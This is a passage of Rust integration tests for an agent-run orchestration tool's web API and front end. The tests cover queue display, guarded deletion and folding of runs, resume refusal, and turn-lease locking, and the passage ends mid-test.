23783        assert_eq!(json["block_reason"], "Decision needed");
23784        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23785        let recovery = json["recovery"].as_str().unwrap();
23786        assert!(recovery.contains("not current capacity"));
23787        assert!(recovery.contains("triage rechecks"));
23788        assert_eq!(json["blockers"][0]["state"], "missing");
23789        task.blocked_from = Some(TaskStatus::Queued);
23790        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23791        task.blocked_from = None;
23792        assert!(task_recovery(&task).unwrap().contains("restores held"));
23793    }
23794
23795    #[tokio::test]
23796    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23797        let fx = Fixture::start().await;
23798        let q = fx.queue();
23799        let mk = |title: &str| {
23800            Task::new(
23801                title.to_owned(),
23802                "Instruction".to_owned(),
23803                PathBuf::from("/repo"),
23804                Source::Human,
23805            )
23806        };
23807        let mut root = mk("root");
23808        root.hold_manual(Some("waiting".to_owned()));
23809        q.put(&mut root).unwrap();
23810        let mut mid = mk("mid");
23811        mid.block(vec![root.id.clone()], None);
23812        q.put(&mut mid).unwrap();
23813        let mut leaf = mk("leaf");
23814        leaf.block(vec![mid.id.clone()], None);
23815        q.put(&mut leaf).unwrap();
23816
23817        let list = fx.get("/api/queue").await.json();
23818        let find = |id: &str| {
23819            list.as_array()
23820                .unwrap()
23821                .iter()
23822                .find(|v| v["id"] == id)
23823                .unwrap()
23824                .clone()
23825        };
23826        let leaf_view = find(&leaf.id);
23827        assert_eq!(
23828            leaf_view["waits_on"],
23829            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23830        );
23831        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23832        assert_eq!(
23833            find(&mid.id)["waits_on"],
23834            serde_json::json!([format!("{} (held)", root.short())])
23835        );
23836        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23837    }
23838
23839    #[tokio::test]
23840    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23841        let fx = Fixture::start().await;
23842        let q = fx.queue();
23843
23844        // 1. A queued task with runs attached can be deleted.
23845        let mut t1 = Task::new(
23846            "Task 1".to_owned(),
23847            "Instruction 1".to_owned(),
23848            PathBuf::from("/repo"),
23849            Source::Human,
23850        );
23851        let run_id = "20260901-000000-r111";
23852        t1.runs.push(run_id.to_owned());
23853        write_run(&fx.runs(), run_id, RunStatus::Merged);
23854        q.put(&mut t1).expect("put t1");
23855
23856        // Delete by short id
23857        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23858        assert_eq!(res.status, 204);
23859        assert!(res.body.is_empty(), "204 No Content has no body");
23860        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23861        assert!(
23862            fx.runs().join(run_id).exists(),
23863            "run directory must not be deleted when its task is deleted"
23864        );
23865
23866        // 2. A task a live daemon is running is refused with 409.
23867        let mut t2 = Task::new(
23868            "Task 2".to_owned(),
23869            "Instruction 2".to_owned(),
23870            PathBuf::from("/repo"),
23871            Source::Human,
23872        );
23873        t2.status = TaskStatus::Running;
23874        q.put(&mut t2).expect("put t2");
23875        let mut beat = crate::daemon::Status::new();
23876        beat.current = vec![crate::daemon::Current {
23877            worker: None,
23878            task: t2.id.clone(),
23879            run: "20260901-000000-r222".to_owned(),
23880        }];
23881        beat.updated_at = jiff::Timestamp::now();
23882        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23883            .expect("publish a heartbeat");
23884        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23885        assert_eq!(res.status, 409);
23886        assert!(
23887            res.json()["error"]
23888                .as_str()
23889                .unwrap()
23890                .contains("live daemon")
23891        );
23892        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23893
23894        // 3. The same `running` status and an orphaned lock, with no daemon
23895        // behind either, is a leftover and deletable. Before this the phone
23896        // refused it for good: the status never changes on its own and
23897        // nothing drops a lock whose process is gone.
23898        // The daemon is killed: the file stays, the heartbeat stops.
23899        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23900        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23901            .expect("leave a stale heartbeat");
23902        let mut t3 = Task::new(
23903            "Task 3".to_owned(),
23904            "Instruction 3".to_owned(),
23905            PathBuf::from("/repo"),
23906            Source::Human,
23907        );
23908        t3.status = TaskStatus::Running;
23909        q.put(&mut t3).expect("put t3");
23910        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23911        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23912        assert_eq!(res.status, 204);
23913        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23914        assert!(
23915            q.claim(&t3.id).is_ok(),
23916            "the stale lock went with it, so the id is claimable again"
23917        );
23918
23919        // 4. Missing id returns 404
23920        let res = fx.delete("/api/queue/nonexistent").await;
23921        assert_eq!(res.status, 404);
23922    }
23923
23924    #[tokio::test]
23925    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23926        let fx = Fixture::start().await;
23927        let runs = fx.runs();
23928
23929        // 1. Finished and folded run can be deleted along with artifacts
23930        let run_id = "20260901-000000-fold";
23931        let mut state = RunState::new(
23932            PathBuf::from("/repo"),
23933            "main".to_owned(),
23934            "abc".to_owned(),
23935            "instruction".to_owned(),
23936            Config::default(),
23937        );
23938        state.id = run_id.to_owned();
23939        state.status = RunStatus::Merged;
23940        state.candidates.push(crate::run::Candidate {
23941            index: 0,
23942            label: 'A',
23943            agent: "a".to_owned(),
23944            branch: "b".to_owned(),
23945            worktree: PathBuf::from("/w"),
23946            summary: String::new(),
23947            stat: String::new(),
23948            files: 1,
23949            commits: 1,
23950            empty: false,
23951            failed: None,
23952            verified_noop: None,
23953            duration_ms: 0,
23954            folded: true,
23955        });
23956        let dir = runs.join(run_id);
23957        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23958        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23959            .expect("write artifact");
23960        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23961            .expect("write run.json");
23962
23963        // Delete by short id
23964        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23965        assert_eq!(res.status, 204);
23966        assert!(res.body.is_empty(), "204 has no body");
23967        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23968
23969        // 2. A run a live daemon is working on is refused with 409. The
23970        // heartbeat is what makes it refusable: an unfinished run with no
23971        // daemon behind it is a leftover from a killed process, and case 1
23972        // above would otherwise be impossible to tell apart from this one.
23973        let run_running = "20260901-000000-rung";
23974        write_run(&runs, run_running, RunStatus::Prep);
23975        let mut beat = crate::daemon::Status::new();
23976        beat.current = vec![crate::daemon::Current {
23977            worker: None,
23978            task: "20260901-000000-task".to_owned(),
23979            run: run_running.to_owned(),
23980        }];
23981        beat.updated_at = jiff::Timestamp::now();
23982        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23983            .expect("publish a heartbeat");
23984        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23985        assert_eq!(res.status, 409);
23986        assert!(
23987            res.json()["error"]
23988                .as_str()
23989                .unwrap()
23990                .contains("live daemon"),
23991            "the refusal must say who is holding it"
23992        );
23993        assert!(
23994            runs.join(run_running).exists(),
23995            "a run in flight keeps its directory"
23996        );
23997
23998        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23999        let run_unfolded = "20260901-000000-unfd";
24000        let mut state2 = RunState::new(
24001            PathBuf::from("/repo"),
24002            "main".to_owned(),
24003            "abc".to_owned(),
24004            "instruction".to_owned(),
24005            Config::default(),
24006        );
24007        state2.id = run_unfolded.to_owned();
24008        state2.status = RunStatus::Ready;
24009        state2.candidates.push(crate::run::Candidate {
24010            index: 0,
24011            label: 'A',
24012            agent: "a".to_owned(),
24013            branch: "b".to_owned(),
24014            worktree: PathBuf::from("/w"),
24015            summary: String::new(),
24016            stat: String::new(),
24017            files: 1,
24018            commits: 1,
24019            empty: false,
24020            failed: None,
24021            verified_noop: None,
24022            duration_ms: 0,
24023            folded: false,
24024        });
24025        let dir2 = runs.join(run_unfolded);
24026        std::fs::create_dir_all(&dir2).expect("create dir2");
24027        std::fs::write(
24028            dir2.join("run.json"),
24029            serde_json::to_string(&state2).unwrap(),
24030        )
24031        .expect("write run.json");
24032
24033        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
24034        assert_eq!(res.status, 409);
24035        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
24036        assert!(dir2.exists(), "unfolded run directory is kept");
24037
24038        // 4. Missing id returns 404
24039        let res = fx.delete("/api/runs/nonexistent").await;
24040        assert_eq!(res.status, 404);
24041    }
24042
24043    /// The queue tiles on the Stats tab must render even on a home with no
24044    /// runs at all: queue state is not derived from run history, so hiding
24045    /// the whole dashboard body behind "no runs yet" would drop the one
24046    /// thing this tab promises unconditionally (queued/running/held/done).
24047    /// A DOM-level test would need a browser this suite does not have, so
24048    /// this pins the same invariant textually: `renderStatsQueue` is called
24049    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
24050    /// block that gates the run-derived panels.
24051    #[test]
24052    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
24053        let start = APP_JS
24054            .find("function renderStats() {")
24055            .expect("renderStats");
24056        let end = start
24057            + APP_JS[start..]
24058                .find("function statsTile(")
24059                .expect("the next top-level function");
24060        let body = &APP_JS[start..end];
24061
24062        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
24063        let gate_end = gate_start
24064            + body[gate_start..]
24065                .find("}\n  renderStatsQueue")
24066                .expect("the gate's own closing brace, right before the unconditional call");
24067        let gated = &body[gate_start..gate_end];
24068
24069        assert_eq!(
24070            body.matches("renderStatsQueue(").count(),
24071            1,
24072            "renderStats must call renderStatsQueue exactly once: {body}"
24073        );
24074        assert!(
24075            !gated.contains("renderStatsQueue"),
24076            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24077             run-derived panels on an empty run history - the queue panel has to render \
24078             regardless: {gated}"
24079        );
24080    }
24081
24082    #[test]
24083    fn web_ui_delete_contract_in_front_end() {
24084        // 1. API block has both delete endpoints
24085        assert!(APP_JS.contains("deleteRun:"));
24086        assert!(APP_JS.contains("deleteTask:"));
24087
24088        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24089        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24090            ..APP_JS.find("function renderRuns").unwrap()];
24091        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24092
24093        // 3. Run detail has delete entry and reasons
24094        assert!(APP_JS.contains("renderRunDelete"));
24095        assert!(APP_JS.contains("runDeleteReason"));
24096        assert!(APP_JS.contains("magi fold"));
24097        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24098
24099        // 4. Two-step delete arming and focus on Cancel
24100        assert!(APP_JS.contains("cancel.focus"));
24101        assert!(APP_JS.contains("armedRunDelete"));
24102        assert!(APP_JS.contains("renderTaskDeleteBox"));
24103        assert!(APP_JS.contains("armed${cap(key)}"));
24104
24105        // 5. Running task has disabled delete
24106        assert!(APP_JS.contains("disabled: status === \"running\""));
24107    }
24108
24109    /// Every element a run card's updater reaches for must be in the `refs`
24110    /// the builder handed it.
24111    ///
24112    /// `createRunCard` builds its elements, appends them to the card, and then
24113    /// lists them again in `row.refs`. That second list is the one the updater
24114    /// uses, and nothing connects the two - an element can be built, appended
24115    /// and rendered, and still be missing from `refs`. `superseded` was, for
24116    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24117    /// exception took `syncList` with it, and the deck showed
24118    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24119    /// line is computed before the cards, which is why the failure looked like
24120    /// a server that had lost its runs rather than a front end that had
24121    /// stopped rendering them.
24122    ///
24123    /// A `cargo test` cannot execute the front end, so this reads the two
24124    /// halves out of the source and compares them as sets. It is not a check
24125    /// on the wording of either list: adding an element, renaming one, or
24126    /// reordering them all keeps this passing, and only using one the builder
24127    /// never published fails it.
24128    #[test]
24129    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24130        let build = APP_JS
24131            .find("function createRunCard")
24132            .expect("createRunCard exists");
24133        let update = APP_JS
24134            .find("function updateRunCard")
24135            .expect("updateRunCard exists");
24136        let end = APP_JS
24137            .find("function renderRuns")
24138            .expect("renderRuns exists");
24139
24140        // The builder's published set: the object literal assigned to `refs`.
24141        let builder = &APP_JS[build..update];
24142        let open = builder.find("refs = {").expect("createRunCard sets refs");
24143        let literal = &builder[open + "refs = {".len()..];
24144        let close = literal.find('}').expect("the refs literal is closed");
24145        let published: HashSet<&str> = literal[..close]
24146            .split(',')
24147            // `name` and `name: value` both bind `name`.
24148            .filter_map(|entry| entry.split(':').next())
24149            .map(str::trim)
24150            .filter(|name| !name.is_empty())
24151            .collect();
24152        assert!(
24153            published.len() > 5,
24154            "the refs literal did not parse into names: {published:?}"
24155        );
24156
24157        // What the updaters reach for: every `r.<name>`, where `r` is the
24158        // `const r = row.refs` alias both functions open with.
24159        let mut used: Vec<&str> = Vec::new();
24160        let updaters = &APP_JS[update..end];
24161        for (at, _) in updaters.match_indices("r.") {
24162            // `r` must be the whole identifier, not the tail of another one
24163            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24164            let before = updaters[..at].chars().next_back();
24165            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24166                continue;
24167            }
24168            let rest = &updaters[at + 2..];
24169            let len = rest
24170                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24171                .unwrap_or(rest.len());
24172            if len > 0 {
24173                used.push(&rest[..len]);
24174            }
24175        }
24176        assert!(
24177            used.len() > 5,
24178            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24179        );
24180
24181        let missing: Vec<&str> = used
24182            .iter()
24183            .copied()
24184            .filter(|name| !published.contains(name))
24185            .collect();
24186        assert!(
24187            missing.is_empty(),
24188            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24189             never put in `refs` - every card will throw and the list will \
24190             render empty under a count line that says otherwise. Published: \
24191             {published:?}"
24192        );
24193    }
24194
24195    #[tokio::test]
24196    async fn folding_from_the_phone_reports_what_it_removed() {
24197        let fx = Fixture::start().await;
24198        let runs = fx.runs();
24199
24200        // A run with no candidates has nothing to fold, which is a 200 with an
24201        // honest count rather than an error: the operator asked for the trees
24202        // to be gone and they are.
24203        let id = "20260901-000000-fold";
24204        write_run(&runs, id, RunStatus::Stalled);
24205        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24206        assert_eq!(res.status, 200);
24207        assert_eq!(res.json()["removed_count"], 0);
24208        assert_eq!(res.json()["run"], id);
24209        assert!(
24210            runs.join(id).exists(),
24211            "a fold keeps the run's record; only the worktrees go"
24212        );
24213    }
24214
24215    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24216    /// routes refuse it instead of folding B on A's say, and change nothing.
24217    #[tokio::test]
24218    async fn folding_a_record_that_names_another_run_is_refused() {
24219        let fx = Fixture::start().await;
24220        let runs = fx.runs();
24221        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24222        write_run(&runs, a, RunStatus::Stalled);
24223        write_run(&runs, b, RunStatus::Stalled);
24224        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24225        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24226
24227        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24228        assert_eq!(res.status, 500, "{}", res.body);
24229        assert!(res.body.contains("not run"), "{}", res.body);
24230        let res = fx
24231            .post(
24232                &format!("/api/runs/{a}/fold-merged"),
24233                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24234            )
24235            .await;
24236        assert_eq!(res.status, 500, "{}", res.body);
24237        assert_eq!(
24238            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24239            record
24240        );
24241    }
24242
24243    #[tokio::test]
24244    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24245        let fx = Fixture::start().await;
24246        let runs = fx.runs();
24247        let wt = fx.home.path().join("wt").join("magi").join("dead");
24248        let id = "20260901-000000-dead";
24249        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24250        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24251        std::fs::create_dir_all(&wt).expect("worktree dir");
24252
24253        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24254        assert_eq!(res.status, 200, "{}", res.body);
24255        assert!(
24256            res.json()["removed_count"].as_u64().unwrap() > 0,
24257            "the worktree this build could not read a state for still went"
24258        );
24259        assert!(
24260            !runs.join(id).exists(),
24261            "an unreadable run has no candidate list to fold selectively, so \
24262             the whole record goes - same as `magi fold` on the CLI"
24263        );
24264    }
24265
24266    #[tokio::test]
24267    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24268        let fx = Fixture::start().await;
24269        let runs = fx.runs();
24270        let id = "20260901-000000-mism";
24271        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24272        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24273        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24274
24275        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24276        assert_eq!(res.status, 500, "{}", res.body);
24277        assert!(
24278            res.json()["error"]
24279                .as_str()
24280                .unwrap()
24281                .contains("records run 20260901-000000-else"),
24282            "{}",
24283            res.body
24284        );
24285        assert_eq!(
24286            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24287            record,
24288            "nothing is removed"
24289        );
24290    }
24291
24292    #[tokio::test]
24293    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24294        let fx = Fixture::start().await;
24295        let runs = fx.runs();
24296        let wt = fx.home.path().join("wt").join("magi").join("gone");
24297        let id = "20260901-000000-gone";
24298        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24299        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24300        std::fs::create_dir_all(&wt).expect("worktree dir");
24301
24302        let res = fx.delete(&format!("/api/runs/{id}")).await;
24303        assert_eq!(res.status, 204, "{}", res.body);
24304        assert!(!runs.join(id).exists(), "the broken record is gone");
24305        assert!(!wt.exists(), "its worktree is gone too");
24306    }
24307
24308    #[tokio::test]
24309    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24310        let fx = Fixture::start().await;
24311        let runs = fx.runs();
24312        let id = "20260901-000000-live";
24313        write_run(&runs, id, RunStatus::Implementing);
24314
24315        let mut beat = crate::daemon::Status::new();
24316        beat.current = vec![crate::daemon::Current {
24317            worker: None,
24318            task: "20260901-000000-task".to_owned(),
24319            run: id.to_owned(),
24320        }];
24321        beat.updated_at = jiff::Timestamp::now();
24322        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24323            .expect("publish a heartbeat");
24324
24325        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24326        assert_eq!(res.status, 409);
24327        assert!(
24328            res.json()["error"]
24329                .as_str()
24330                .unwrap()
24331                .contains("live daemon"),
24332            "folding under a running agent would pull its worktree away"
24333        );
24334    }
24335
24336    #[tokio::test]
24337    async fn fold_merged_requires_a_pr_url() {
24338        let fx = Fixture::start().await;
24339        let runs = fx.runs();
24340        let id = "20260901-000000-nourl";
24341        write_run(&runs, id, RunStatus::Blocked);
24342
24343        let res = fx
24344            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24345            .await;
24346        assert_eq!(res.status, 400, "{}", res.body);
24347
24348        let blank = fx
24349            .post(
24350                &format!("/api/runs/{id}/fold-merged"),
24351                Some(r#"{"pr_url":"   "}"#),
24352            )
24353            .await;
24354        assert_eq!(blank.status, 400, "{}", blank.body);
24355    }
24356
24357    #[tokio::test]
24358    async fn fold_merged_is_404_for_an_unknown_run() {
24359        let fx = Fixture::start().await;
24360        let res = fx
24361            .post(
24362                "/api/runs/nosuchrun/fold-merged",
24363                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24364            )
24365            .await;
24366        assert_eq!(res.status, 404, "{}", res.body);
24367    }
24368
24369    #[tokio::test]
24370    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24371        let fx = Fixture::start().await;
24372        let runs = fx.runs();
24373        let id = "20260901-000000-livemerge";
24374        write_run(&runs, id, RunStatus::Blocked);
24375
24376        let mut beat = crate::daemon::Status::new();
24377        beat.current = vec![crate::daemon::Current {
24378            worker: None,
24379            task: "20260901-000000-task".to_owned(),
24380            run: id.to_owned(),
24381        }];
24382        beat.updated_at = jiff::Timestamp::now();
24383        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24384            .expect("publish a heartbeat");
24385
24386        let res = fx
24387            .post(
24388                &format!("/api/runs/{id}/fold-merged"),
24389                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24390            )
24391            .await;
24392        assert_eq!(res.status, 409, "{}", res.body);
24393        assert!(
24394            res.json()["error"]
24395                .as_str()
24396                .unwrap()
24397                .contains("live daemon"),
24398            "correcting a run's merge underneath a running agent would race \
24399             whatever it is doing to the same `status`/`merge` fields"
24400        );
24401    }
24402
24403    /// A pull request `gh` cannot even ask about (no such remote, no such
24404    /// repository) must never be recorded as a merge on a guess - the same
24405    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24406    /// command line, reached here through the phone route instead.
24407    #[tokio::test]
24408    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24409        let fx = Fixture::start().await;
24410        let runs = fx.runs();
24411        let id = "20260901-000000-unconfirmed";
24412        write_run(&runs, id, RunStatus::Blocked);
24413
24414        let res = fx
24415            .post(
24416                &format!("/api/runs/{id}/fold-merged"),
24417                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24418            )
24419            .await;
24420        assert_eq!(res.status, 400, "{}", res.body);
24421        assert_eq!(
24422            read_run(&runs, id).unwrap().status,
24423            RunStatus::Blocked,
24424            "a pull request that could not be confirmed merged must leave \
24425             the run exactly where it was"
24426        );
24427    }
24428
24429    #[tokio::test]
24430    async fn terminal_runs_cannot_be_resumed() {
24431        let fx = Fixture::start().await;
24432        let runs = fx.runs();
24433
24434        for (status, word) in [
24435            (RunStatus::Merged, "merged"),
24436            (RunStatus::Ready, "ready"),
24437            (RunStatus::Failed, "failed"),
24438        ] {
24439            let id = format!("20260901-000000-{}", &word[..4]);
24440            write_run(&runs, &id, status);
24441            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24442            assert_eq!(res.status, 409, "{word} must not be resumable");
24443        }
24444    }
24445
24446    #[tokio::test]
24447    async fn resume_is_refused_while_the_loop_is_running() {
24448        let fx = Fixture::start().await;
24449        let runs = fx.runs();
24450        let stalled = "20260901-000000-stal";
24451        write_run(&runs, stalled, RunStatus::Stalled);
24452
24453        // The loop is busy with a *different* run, and that is still a
24454        // refusal: a manual resume must never race whatever the loop itself
24455        // is already driving, whether that is one run or several.
24456        let mut beat = crate::daemon::Status::new();
24457        beat.current = vec![crate::daemon::Current {
24458            worker: None,
24459            task: "20260901-000000-task".to_owned(),
24460            run: "20260901-000000-othr".to_owned(),
24461        }];
24462        beat.updated_at = jiff::Timestamp::now();
24463        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24464            .expect("publish a heartbeat");
24465
24466        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24467        assert_eq!(res.status, 409);
24468        let err = res.json()["error"].as_str().unwrap().to_owned();
24469        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24470        assert!(err.contains("stop it first"), "{err}");
24471    }
24472
24473    #[test]
24474    fn a_run_cannot_be_resumed_twice_at_once() {
24475        let home = TempDir::new().expect("temp home");
24476        let ui = Ui::new(
24477            Queue::at(home.path().join("queue")),
24478            Questions::at(home.path().join("questions")),
24479            Talks::at(home.path().join("talks")),
24480            home.path().join("runs"),
24481            home.path().to_path_buf(),
24482            PathBuf::from("/repo"),
24483        )
24484        .with_worktrees_root(home.path().join("wt"));
24485        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24486        let again = ui.begin_resume("20260901-000000-once");
24487        assert!(again.is_err(), "a second tap must not start a second graph");
24488        drop(first);
24489        assert!(
24490            ui.begin_resume("20260901-000000-once").is_ok(),
24491            "and the claim is released when the attempt ends"
24492        );
24493    }
24494
24495    #[test]
24496    fn talk_thinking_tracks_only_its_held_turn_claim() {
24497        let home = TempDir::new().expect("temp home");
24498        let ui = Ui::new(
24499            Queue::at(home.path().join("queue")),
24500            Questions::at(home.path().join("questions")),
24501            Talks::at(home.path().join("talks")),
24502            home.path().join("runs"),
24503            home.path().to_path_buf(),
24504            PathBuf::from("/repo"),
24505        )
24506        .with_worktrees_root(home.path().join("wt"));
24507        let id = "20260901-000000-once";
24508
24509        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24510        let turn = ui.begin_talk_turn(id).expect("claim turn");
24511        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24512        assert!(
24513            !ui.is_thinking("20260901-000000-other"),
24514            "one talk's turn does not make another talk busy"
24515        );
24516        drop(turn);
24517        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24518    }
24519
24520    #[test]
24521    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24522        let home = TempDir::new().expect("temp home");
24523        let talks = Talks::at(home.path().join("talks"));
24524        let ui = Ui::new(
24525            Queue::at(home.path().join("queue")),
24526            Questions::at(home.path().join("questions")),
24527            talks.clone(),
24528            home.path().join("runs"),
24529            home.path().to_path_buf(),
24530            PathBuf::from("/repo"),
24531        )
24532        .with_worktrees_root(home.path().join("wt"));
24533        let id = "20260901-000000-cross";
24534
24535        let other = Talks::at(home.path().join("talks"))
24536            .claim_turn(id)
24537            .expect("claim")
24538            .expect("the other process wins");
24539        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24540        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24541        assert!(
24542            matches!(
24543                ui.begin_talk_turn_unless_pending(id).expect("start"),
24544                TalkTurnStart::Foreign
24545            ),
24546            "a foreign holder is refused, not queued behind"
24547        );
24548        assert!(
24549            !ui.talk_turns.lock().unwrap().live.contains(id),
24550            "a refused claim leaves no in-process entry behind"
24551        );
24552        drop(other);
24553        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24554        assert!(talks.turn_held(id), "the web turn holds the lease");
24555        drop(turn);
24556        assert!(
24557            !talks.turn_held(id),
24558            "dropping the guard releases the lease"
24559        );
24560    }
24561
24562    fn consult_question(ui: &Ui) -> Question {
24563        let mut q = Question::new(
24564            "20260901-000000-consult".to_owned(),
24565            "implement".to_owned(),
24566            "impl-A".to_owned(),
24567            "Which backend?".to_owned(),
24568            String::new(),
24569            vec!["SQLite".to_owned(), "Redis".to_owned()],
24570        );
24571        ui.questions.put(&mut q).expect("question");
24572        q
24573    }
24574
24575    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24576        (
24577            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24578            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24579        )
24580    }
24581
24582    #[tokio::test]
24583    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24584        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24585        let q = consult_question(&ui);
24586        let talk = ui.talks.get(&id).expect("talk");
24587        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24588        let before = consult_snapshot(&ui, &q, &id);
24589        let cli_talks = Talks::at(ui.home.join("talks"));
24590        assert_eq!(
24591            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24592                .await
24593                .expect("CLI starter"),
24594            crate::consult::Started::Busy
24595        );
24596        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24597        assert!(ui.is_thinking(&id));
24598        drop(guard);
24599        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24600    }
24601
24602    #[tokio::test]
24603    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24604        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24605        let q = consult_question(&ui);
24606        let talk = ui.talks.get(&id).expect("talk");
24607        let started = tmp.path().join("started");
24608        let release = tmp.path().join("release");
24609        let script = tmp.path().join("consult-agent.sh");
24610        std::fs::write(
24611            &script,
24612            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24613        )
24614        .expect("script");
24615        let mut cfg = stub_config();
24616        cfg.agents[0].id = "mock".to_owned();
24617        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24618        cfg.agents[0].env = std::collections::BTreeMap::from([
24619            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24620            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24621        ]);
24622        let questions = ui.questions.clone();
24623        let cli_talks = Talks::at(ui.home.join("talks"));
24624        let cli_q = q.clone();
24625        let turn = tokio::spawn(async move {
24626            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24627        });
24628        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24629            while !started.exists() {
24630                tokio::time::sleep(Duration::from_millis(10)).await;
24631            }
24632        })
24633        .await;
24634        // Always release and join the agent, even if readiness or the web
24635        // request fails, so a failed assertion cannot leave a turn behind.
24636        let refusal = if ready.is_ok() {
24637            let before = consult_snapshot(&ui, &q, &id);
